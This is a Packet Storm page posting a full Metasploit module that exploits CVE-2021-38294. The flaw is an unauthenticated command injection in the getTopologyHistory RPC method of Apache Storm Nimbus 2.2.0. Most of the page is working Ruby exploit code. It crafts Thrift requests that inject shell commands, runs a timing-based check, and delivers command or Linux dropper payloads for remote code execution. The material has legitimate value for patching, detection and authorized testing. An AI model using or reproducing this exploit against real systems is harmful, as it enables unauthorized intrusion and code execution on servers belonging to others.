exploit the possibilities

Apache Storm Nimbus 2.2.0 Command Execution

Apache Storm Nimbus 2.2.0 Command Execution
Posted Nov 19, 2021
Authored by Spencer McIntyre, Alvaro Munoz | Site metasploit.com

This Metasploit module exploits an unauthenticated command injection vulnerability within the Nimbus service component of Apache Storm. The getTopologyHistory RPC method method takes a single argument which is the name of a user which is concatenated into a string that is executed by bash. In order for the vulnerability to be exploitable, there must have been at least one topology submitted to the server. The topology may be active or inactive, but at least one must be present. Successful exploitation results in remote code execution as the user running Apache Storm. This vulnerability was patched in versions 2.1.1, 2.2.1 and 1.2.4. This exploit was tested on version 2.2.0 which is affected.

tags | exploit, remote, code execution, bash
advisories | CVE-2021-38294
SHA-256 | bdeabaf8ee1de5cc701765d5b3a2960189a0cd18ac93bcb180979bd32c8d528a

Apache Storm Nimbus 2.2.0 Command Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/proto/thrift'
require 'rex/stopwatch'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager

Thrift = Rex::Proto::Thrift

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Storm Nimbus getTopologyHistory Unauthenticated Command Execution',
'Description' => %q{
This module exploits an unauthenticated command injection vulnerability within the Nimbus service component of Apache Storm.
The getTopologyHistory RPC method method takes a single argument which is the name of a user which is
concatenated into a string that is executed by bash. In order for the vulnerability to be exploitable, there
must have been at least one topology submitted to the server. The topology may be active or inactive, but at
least one must be present. Successful exploitation results in remote code execution as the user running Apache Storm.

This vulnerability was patched in versions 2.1.1, 2.2.1 and 1.2.4. This exploit was tested on version 2.2.0
which is affected.
},
'Author' => [
'Alvaro Muñoz', # discovery and original research
'Spencer McIntyre', # metasploit module
],
'References' => [
['CVE', '2021-38294'],
['URL', 'https://securitylab.github.com/advisories/GHSL-2021-085-apache-storm/']
],
'DisclosureDate' => '2021-10-25',
'License' => MSF_LICENSE,
'Platform' => ['linux', 'unix'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
}
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'RPORT' => 6627,
'MeterpreterTryToFork' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
end

def check
begin
connect
rescue Rex::ConnectionError
return CheckCode::Unknown('Failed to connect to the service.')
end

sleep_time = rand(5..10)
response, elapsed_time = Rex::Stopwatch.elapsed_time do
execute_command("sleep #{sleep_time}", { disconnect: false })
recv_response(sleep_time + 5)
end
disconnect

vprint_status("Elapsed time: #{elapsed_time} seconds")

unless response && elapsed_time > sleep_time
return CheckCode::Safe('Failed to test command injection.')
end

CheckCode::Appears('Successfully tested command injection.')
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end

def execute_command(cmd, opts = {})
# comment out the rest of the command to ensure it's only executed once and prefix a random tag to avoid caching
cmd = "#{cmd} ##{Rex::Text.rand_text_alphanumeric(4..8)}"
vprint_status("Executing command: #{cmd}")

send_request([
Thrift::Header.new(message_type: Thrift::MessageType::CALL, method_name: 'getTopologyHistory'),
Thrift::Data.new(data_type: Thrift::DataType::T_UTF7, field_id: 1, data_value: ";#{cmd}"),
Thrift::Data.new
].map(&:to_binary_s).join)
disconnect if opts.fetch(:disconnect, true)
end

def send_request(request)
connect if sock.nil?
sock.put([ request.length ].pack('N') + request)
end

def recv_response(timeout)
remaining = timeout
res_size, elapsed = Rex::Stopwatch.elapsed_time do
sock.timed_read(4, remaining)
end

remaining -= elapsed
return nil if res_size.nil? || res_size.length != 4 || remaining <= 0

res = sock.timed_read(res_size.unpack1('N'), remaining)

return nil if res.nil? || res.length != res_size.unpack1('N')

return res_size + res
rescue Timeout::Error
return nil
end
end
Login or Register to add favorites

File Archive:

May 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    0 Files
  • 2
    May 2nd
    15 Files
  • 3
    May 3rd
    19 Files
  • 4
    May 4th
    24 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    14 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    13 Files
  • 10
    May 10th
    7 Files
  • 11
    May 11th
    99 Files
  • 12
    May 12th
    45 Files
  • 13
    May 13th
    7 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close